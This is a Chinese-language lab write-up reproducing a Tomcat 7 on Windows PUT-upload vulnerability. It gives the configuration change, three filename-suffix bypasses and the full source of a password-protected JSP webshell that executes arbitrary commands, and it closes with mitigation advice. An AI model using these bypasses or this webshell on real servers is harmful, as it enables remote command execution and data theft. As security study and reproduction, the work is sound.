一.漏洞概述
當存在漏洞的Tomcat 運作在 Windows 主機上,且啟用了HTTP PUT請求方法(例如,将 readonly 初始化參數由預設值設定為 false),攻擊者将有可能可通過精心構造的攻擊請求資料包向伺服器上傳包含任意代碼的 JSP 的webshell檔案,JSP檔案中的惡意代碼将能被伺服器執行,導緻伺服器上的資料洩露或擷取伺服器權限。
二.影響版本
Apache Tomcat 7.0.0~7.0.79
三.漏洞複現
1.複現環境
Apache Tomcat 7.0.79
windows 10
burpsuite1.7.31
tomcat環境搭建
2.修改web.xml檔案
找到tomcat\conf\web.xml,手動添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
也有可能在web.xml中存在readonly,不過預設為true,修改為false即可
如此操作的目的是為了允許使用PUT方法上傳任意檔案,但限制了jsp字尾,因為後端都用org.apache.catalina.servlets.JspServlet來處理jsp或是jspx字尾的請求,而JspServlet負責處理所有JSP和JPSX類型的動态請求,從代碼沒有發現處理HTTP PUT類型的操作, 是以可知PUT以及DELTE等HTTP操作由DefautServelt實作。是以,就算我們構造請求直接上傳JSP webshell顯然是不會成功的。該漏洞實際上是利用了windows下檔案名解析的漏洞來觸發的。根本是通過構造特殊字尾名,繞過Tomcat檢測,讓Tomcat用DefaultServlet的邏輯處理請求,進而上傳jsp webshell檔案。
不過對于不同平台有多種繞過方法
具體來說,主要有三種方法:
shell.jsp%20 //windows檔案檔案名不能以空格結尾
shell.jsp::$DATA //在windows環境下載下傳檔案名的字尾增加特殊字元::$DATA對原檔案名相等
shell.jsp/ //java.io.Win32FileSystem的normalize将檔案字尾末尾進行規範化處理去掉了尾部的”/”
3.通路tomcat
由于burpsuite與tomcat端口号沖突(8080)是以我将tomcat的端口号改為了8081
4.使用burpsuit抓包
我們直接用PUT傳遞發現傳回404,符合我們的理論猜想
然後我們使用之前提到的繞過方法,發送成功,同時要注意,在上傳jsp檔案的同時,要把我們的代碼粘貼到下方,這一步相當于建立一個shell.jsp檔案并且把内容寫入并上傳。
shell.jsp
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
我們在tomcat\webapps\ROOT中也能看見shell.jsp上傳成功
6.利用上傳木馬
直接通路shell.jsp檔案。同時GET傳遞pwd(123),和cmd
複現成功
四.漏洞防禦
1、配置readonly值為True或注釋參數,禁止使用PUT方法并重新開機tomcat。
注意:如果禁用PUT方法,對于依賴PUT方法的應用,可能導緻業務失效。
2、根據官方更新檔更新最新版本。